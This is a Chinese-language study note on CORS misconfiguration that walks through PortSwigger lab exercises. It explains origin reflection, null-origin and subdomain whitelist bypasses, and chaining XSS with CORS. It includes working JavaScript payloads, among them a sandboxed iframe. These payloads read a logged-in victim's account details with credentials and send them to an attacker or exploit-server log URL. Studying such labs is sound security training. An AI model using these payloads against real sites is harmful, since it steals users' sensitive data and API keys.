PortSwigger-04-cors
一:漏洞原理
1、简介
- cors简称跨域资源共享:a页面想获取b页面的资源,如果a,b页面的协议、端口号、域名、子域名不相同的,所进行的访问行动都是跨域的,而浏览器为了安全问题一般都限制了跨域访问,也就是不允许跨域请求资源。注意:跨域限制访问其实就是浏览器的限制
- 举例:你发送一个登录请求,是一个非简单的请求。浏览器首先会发送options请求,如果服务器不允许跨域,请求会直接结束,后续的登录请求就不会发送
2、差异性质
(1)cors 和 ssrf的区别
- CORS是一种安全机制,旨在控制浏览器在跨域请求时的访问权限,放置恶意网站访问其他域中的敏感数据,CORS的主要目的就是确保客户端仅存允许的特定域名加载资源;CORS(跨资源共享)漏洞通常出现在服务端上,当服务器未正确配置CORS的时候,可能会出现恶意网站从客户端浏览器中获取敏感数据
- CSRF:是top10漏洞中常见的漏洞,旨在欺骗用户在他们已经的登录的网站上执行未经授权的操作。攻击者诱骗用户在受害网站上执行操作,而不是在攻击者控制的网站上,CSRF是一种社会工程学攻击,攻击者通常通过欺骗用户来触发用户在另一个网站上不希望的操作
(2)如何测试cors漏洞
- 如果相应包中出现 Access-Cintrol-Allow-Credentials的时候就需要注意这个漏洞,可以在请求包中添加 Origin字段来进行测试!
通常都是编写恶意的js代码 或者html代码来进行恶意的请求来获取敏感信息(本质的原理还是服务器没有做正确的限制和验证功能,导致可以通过恶意的网站获取目标网站的敏感数据)
3、CORS配置问题引起的漏洞
许多现代网站使用cors来允许来自子域和受信任的第三方访问,如果cors的配置不当可能会导致漏洞的产生
- 方法1:从请求头中获取Origin标头,并包含一个响应标头,说明允许该域请求资源
- Access-Control-Allow-Origin: https://malicious-website.com 表示允许该域对自己的域资源进行访问请求,由于只检测了Origin,那么意味着所有的域都可以访问该域的资源
#请求包
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
#响应包
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
那么我们可以在我们自己的VPS中放置恶意脚本来获取其他域的敏感信息
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();function reqListener() {location='//malicious-website.com/log?key='+this.responseText;
};
二:PortSwigger靶场
参考链接:https://blog.csdn.net/qq_33168924/article/details/135685982
1、具有基本起源反射的CORS漏洞
(1)实验要求:该网站具有不安全的CORS配置,它信任所有的来源,编写js脚本,使用cors检索管理员的API密钥并将代码上传到漏洞利用服务器
(2)响应包中出现Access-Control-Allow-Credentials
字段,可能会存在CORS漏洞,添加任意的标头,看响应包中是否允许改域进行访问
然后在自己VPS上填写恶意脚本,并将url指向需要访问的目标域的url资源,当受害者访问到我们的恶意脚本的时候就可以获取目标域的敏感信息了
<script>
document.cookie = "session=ewwuyznM5miWJGZVlAUe7Mswms2UP6YQ";
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://0adf002103eb557481e3201600200077.web-security-academy.net/accountDetails', true);
req.withCredentials = true;
req.send();
function reqListener() {location = '/log?key=' + this.responseText;
};
</script>
受害者点击vps上放置的恶意脚本触发;获取到了目标域中的敏感数据
然后解码以下发现成功利用了cors漏洞
2、具有可信空源的CORS漏洞
(1)原理:一些网站会设置白名单来对cors请求进行过滤,只能允许特定的外域来进行跨域请求,如何绕过?
- 再实施CORS源站白名单的时候,会出现忽略,允许本域的子域来访问,这样的话还是不能避免跨域请求攻击
#服务器允许改域访问
normal-website.com
可以构造子域发现也可以进行跨域访问
normal-website.com.evil-user.net
hackersnormal-website.com
- null也可以绕过白名单
#请求包
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
#相应包
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
可以使用沙盒跨域请求来完成
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','https://0a4700950475eb6d802dd012008200d2.web-security-academy.net//accountDetails',true);req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a77005d0478eb9c80f3cfcb01ad0022.exploit-server.net/log?key='+encodeURIComponent(this.responseText);};
</script>"></iframe>
3、受信任的不安全协议的CORS漏洞
(1)实验要求:
父域允许子域CORS敏感信息,子域存在XSS漏洞、从子域发出xss漏洞请求父域的敏感信息,并将敏感信息发送到hacker控制的服务器上。
(2)原理:
即使正确配置了CORS,也可以在两个源之间建立信任关系,如果一个网站存在xss漏洞、则攻击者可以利用存在xss的网站注入一些js脚本,这些js可以通过CORS从信任易受攻击的站点检索敏感信息。
<script>document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>